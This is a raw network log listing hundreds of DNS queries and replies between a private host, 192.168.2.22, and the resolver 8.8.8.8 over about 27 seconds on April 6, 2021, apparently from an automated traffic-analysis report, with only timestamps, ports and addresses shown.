Apr 6, 2021 19:41:24.392025948 CEST	65387	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:24.438225031 CEST	53	65387	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:24.551374912 CEST	56084	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:24.602396011 CEST	53	56084	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:24.732578039 CEST	50019	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:24.778500080 CEST	53	50019	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:24.924892902 CEST	63630	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:24.970855951 CEST	53	63630	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:25.095232010 CEST	49782	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:25.141531944 CEST	53	49782	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:25.280431032 CEST	60322	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:25.301245928 CEST	51597	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:25.328282118 CEST	53	60322	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:25.355504990 CEST	53	51597	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:25.441634893 CEST	55490	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:25.487622023 CEST	53	55490	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:25.618417978 CEST	61170	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:25.665704966 CEST	53	61170	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:25.794322014 CEST	54017	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:25.843203068 CEST	53	54017	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:25.957216024 CEST	53877	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:26.006881952 CEST	53	53877	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:26.137743950 CEST	57075	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:26.187086105 CEST	53	57075	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:26.324309111 CEST	52976	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:26.373158932 CEST	53	52976	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:26.495451927 CEST	52446	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:26.541496038 CEST	53	52446	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:26.667473078 CEST	54725	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:26.713512897 CEST	53	54725	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:26.830764055 CEST	52422	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:26.879892111 CEST	53	52422	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:27.008945942 CEST	57761	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:27.054869890 CEST	53	57761	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:27.186259031 CEST	56721	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:27.237339020 CEST	53	56721	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:27.370954037 CEST	57824	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:27.417292118 CEST	53	57824	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:27.535157919 CEST	59910	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:27.581208944 CEST	53	59910	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:27.703541040 CEST	53981	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:27.749799013 CEST	53	53981	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:27.787216902 CEST	62529	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:27.837884903 CEST	53	62529	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:27.885015011 CEST	64510	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:27.930854082 CEST	53	64510	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:28.057285070 CEST	63341	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:28.103472948 CEST	53	63341	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:28.219871044 CEST	51390	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:28.265799046 CEST	53	51390	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:28.393731117 CEST	51733	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:28.440171957 CEST	53	51733	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:28.561759949 CEST	55573	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:28.607827902 CEST	53	55573	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:28.747831106 CEST	54036	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:28.796700954 CEST	53	54036	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:28.921641111 CEST	50907	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:28.970267057 CEST	53	50907	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:29.105408907 CEST	56813	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:29.153810024 CEST	53	56813	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:29.283319950 CEST	63171	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:29.329525948 CEST	53	63171	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:29.461411953 CEST	62356	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:29.512191057 CEST	53	62356	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:29.644052982 CEST	55520	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:29.690114021 CEST	53	55520	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:29.817281008 CEST	63168	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:29.867736101 CEST	53	63168	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:29.987284899 CEST	49935	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:30.033736944 CEST	53	49935	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:30.153901100 CEST	61954	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:30.205564022 CEST	53	61954	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:30.258014917 CEST	61207	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:30.305358887 CEST	53	61207	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:30.331140995 CEST	63956	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:30.377090931 CEST	53	63956	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:30.496543884 CEST	64981	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:30.542726040 CEST	53	64981	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:30.669172049 CEST	56475	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:30.715167046 CEST	53	56475	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:30.850171089 CEST	60855	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:30.899075031 CEST	53	60855	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:31.015361071 CEST	50612	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:31.064296007 CEST	53	50612	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:31.188389063 CEST	57478	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:31.237112999 CEST	53	57478	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:31.372765064 CEST	54941	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:31.418737888 CEST	53	54941	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:31.542323112 CEST	61016	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:31.588371992 CEST	53	61016	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:31.711781979 CEST	53806	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:31.757790089 CEST	53	53806	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:31.886353970 CEST	60226	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:31.933597088 CEST	53	60226	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:32.066939116 CEST	49407	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:32.114207029 CEST	53	49407	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:32.235296965 CEST	63368	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:32.281524897 CEST	53	63368	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:32.404396057 CEST	61493	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:32.453177929 CEST	53	61493	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:32.572284937 CEST	56072	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:32.622757912 CEST	53	56072	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:32.738152981 CEST	62969	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:32.751019001 CEST	64146	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:32.786103010 CEST	53	62969	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:32.799969912 CEST	53	64146	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:32.929153919 CEST	56752	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:32.980237007 CEST	53	56752	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:33.117398024 CEST	56463	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:33.166429996 CEST	53	56463	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:33.289439917 CEST	50650	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:33.339102030 CEST	53	50650	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:33.461740017 CEST	54450	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:33.512660980 CEST	53	54450	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:33.639674902 CEST	64882	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:33.688714981 CEST	53	64882	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:33.807697058 CEST	63635	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:33.855844021 CEST	53	63635	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:33.981548071 CEST	52775	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:34.030927896 CEST	53	52775	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:34.145898104 CEST	55824	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:34.194778919 CEST	53	55824	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:34.318636894 CEST	59648	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:34.366585970 CEST	53	59648	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:34.507668972 CEST	49397	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:34.556585073 CEST	53	49397	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:34.692807913 CEST	51050	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:34.740564108 CEST	53	51050	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:34.871004105 CEST	62317	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:34.917081118 CEST	53	62317	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:35.039463043 CEST	51104	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:35.088488102 CEST	53	51104	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:35.208239079 CEST	50424	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:35.240052938 CEST	50065	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:35.255825996 CEST	53	50424	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:35.302534103 CEST	53	50065	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:35.387237072 CEST	63984	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:35.437612057 CEST	53	63984	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:35.558904886 CEST	63874	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:35.605844021 CEST	53	63874	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:35.752496958 CEST	64999	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:35.801588058 CEST	53	64999	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:35.925976038 CEST	60357	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:35.972089052 CEST	53	60357	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:36.118633032 CEST	64808	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:36.164751053 CEST	53	64808	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:36.292414904 CEST	58133	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:36.338613033 CEST	53	58133	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:36.481683969 CEST	53873	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:36.527681112 CEST	53	53873	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:36.643908024 CEST	52345	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:36.692081928 CEST	53	52345	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:36.822690010 CEST	63293	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:36.871439934 CEST	53	63293	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:37.000436068 CEST	53098	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:37.048079014 CEST	53	53098	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:37.182092905 CEST	54705	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:37.233102083 CEST	53	54705	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:37.361128092 CEST	57050	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:37.409459114 CEST	53	57050	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:37.541094065 CEST	57905	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:37.587260962 CEST	53	57905	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:37.710969925 CEST	52876	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:37.740159988 CEST	52362	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:37.760617971 CEST	53	52876	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:37.788378000 CEST	53	52362	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:37.880527020 CEST	49397	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:37.932055950 CEST	53	49397	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:38.055442095 CEST	50367	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:38.106178045 CEST	53	50367	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:38.231935024 CEST	50852	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:38.283252954 CEST	53	50852	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:38.410808086 CEST	65303	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:38.456840992 CEST	53	65303	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:38.585251093 CEST	59979	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:38.631264925 CEST	53	59979	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:38.766978025 CEST	63468	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:38.814999104 CEST	53	63468	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:38.941181898 CEST	52714	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:38.991393089 CEST	53	52714	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:39.112678051 CEST	51073	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:39.160224915 CEST	53	51073	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:39.282681942 CEST	61273	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:39.328655005 CEST	53	61273	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:39.457170010 CEST	53142	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:39.505119085 CEST	53	53142	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:39.630173922 CEST	62220	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:39.681328058 CEST	53	62220	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:39.825129986 CEST	50414	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:39.872447014 CEST	53	50414	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:40.000956059 CEST	62177	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:40.047401905 CEST	53	62177	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:40.172559023 CEST	58934	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:40.214056969 CEST	57067	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:40.221375942 CEST	53	58934	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:40.260011911 CEST	53	57067	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:40.359015942 CEST	51564	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:40.408021927 CEST	53	51564	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:40.534010887 CEST	59552	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:40.580286980 CEST	53	59552	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:40.702989101 CEST	49734	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:40.748850107 CEST	53	49734	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:40.875945091 CEST	58810	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:40.923472881 CEST	53	58810	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:41.042663097 CEST	57219	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:41.091536045 CEST	53	57219	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:41.222238064 CEST	50926	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:41.268228054 CEST	53	50926	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:41.388003111 CEST	57766	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:41.436938047 CEST	53	57766	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:41.580270052 CEST	50369	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:41.626425028 CEST	53	50369	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:41.743751049 CEST	54724	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:41.794784069 CEST	53	54724	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:41.918474913 CEST	59644	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:41.967679024 CEST	53	59644	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:42.089689016 CEST	63618	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:42.137511015 CEST	53	63618	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:42.268546104 CEST	49321	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:42.314630985 CEST	53	49321	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:42.459191084 CEST	57664	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:42.508100033 CEST	53	57664	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:42.635087967 CEST	64401	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:42.681343079 CEST	53	64401	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:42.697537899 CEST	59811	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:42.746402979 CEST	53	59811	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:42.809505939 CEST	54234	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:42.860328913 CEST	53	54234	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:42.985759020 CEST	57440	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:43.034579992 CEST	53	57440	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:43.167711020 CEST	52826	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:43.214178085 CEST	53	52826	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:43.347996950 CEST	52528	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:43.393917084 CEST	53	52528	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:43.516514063 CEST	54989	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:43.562627077 CEST	53	54989	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:43.686568022 CEST	63442	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:43.732738972 CEST	53	63442	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:43.873802900 CEST	57765	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:43.921926022 CEST	53	57765	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:44.046056032 CEST	54287	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:44.094913006 CEST	53	54287	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:44.231795073 CEST	53039	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:44.286686897 CEST	53	53039	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:44.420497894 CEST	50561	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:44.471163988 CEST	53	50561	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:44.593274117 CEST	50208	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:44.639509916 CEST	53	50208	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:44.807972908 CEST	51750	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:44.855942011 CEST	53	51750	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:44.980998993 CEST	57806	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:45.027236938 CEST	53	57806	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:45.175157070 CEST	63383	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:45.178374052 CEST	56422	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:45.221409082 CEST	53	63383	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:45.224248886 CEST	53	56422	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:45.344500065 CEST	52704	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:45.392045021 CEST	53	52704	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:45.509224892 CEST	56048	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:45.558146954 CEST	53	56048	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:45.684644938 CEST	58721	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:45.732664108 CEST	53	58721	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:45.854659081 CEST	62773	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:45.903023005 CEST	53	62773	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:46.038533926 CEST	49195	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:46.084784985 CEST	53	49195	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:46.214569092 CEST	59898	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:46.260916948 CEST	53	59898	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:46.388583899 CEST	64010	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:46.437479019 CEST	53	64010	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:46.555455923 CEST	52343	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:46.601507902 CEST	53	52343	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:46.740439892 CEST	54362	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:46.786478996 CEST	53	54362	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:46.916064978 CEST	49499	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:46.964200974 CEST	53	49499	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:47.091413975 CEST	54171	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:47.137696028 CEST	53	54171	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:47.258725882 CEST	50361	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:47.306814909 CEST	53	50361	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:47.439785957 CEST	65345	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:47.485755920 CEST	53	65345	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:47.624753952 CEST	55271	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:47.651710033 CEST	60974	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:47.673639059 CEST	53	55271	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:47.699937105 CEST	53	60974	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:47.816479921 CEST	56053	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:47.862641096 CEST	53	56053	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:47.998686075 CEST	52977	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:48.044635057 CEST	53	52977	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:48.179426908 CEST	53583	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:48.226362944 CEST	53	53583	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:48.359253883 CEST	53470	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:48.405257940 CEST	53	53470	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:48.546627045 CEST	54074	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:48.595441103 CEST	53	54074	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:48.722621918 CEST	55972	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:48.770695925 CEST	53	55972	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:48.891386986 CEST	49180	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:48.940303087 CEST	53	49180	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:49.129231930 CEST	57900	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:49.175211906 CEST	53	57900	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:49.300970078 CEST	51495	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:49.349123955 CEST	53	51495	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:49.526261091 CEST	65142	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:49.572314978 CEST	53	65142	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:49.690749884 CEST	57883	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:49.737044096 CEST	53	57883	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:49.863229036 CEST	50560	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:49.909363985 CEST	53	50560	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:50.107207060 CEST	56586	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:50.155570984 CEST	53	56586	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:50.285933018 CEST	49304	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:50.332834959 CEST	53	49304	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:50.473699093 CEST	58706	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:50.522486925 CEST	53	58706	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:50.642610073 CEST	58181	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:50.693538904 CEST	53	58181	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:50.853461981 CEST	62446	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:50.899645090 CEST	53	62446	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:51.018630981 CEST	65264	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:51.064778090 CEST	53	65264	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:51.191353083 CEST	53177	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:51.240104914 CEST	53	53177	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:51.426769018 CEST	65173	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:51.475505114 CEST	53	65173	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:51.611341000 CEST	63507	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:51.661345005 CEST	53	63507	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:51.797532082 CEST	58816	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:51.835012913 CEST	52882	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:41:51.846477985 CEST	53	58816	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:51.881046057 CEST	53	52882	8.8.8.8	192.168.2.22
Apr 6, 2021 19:41:51.989937067 CEST	64214	53	192.168.2.22	8.8.8.8
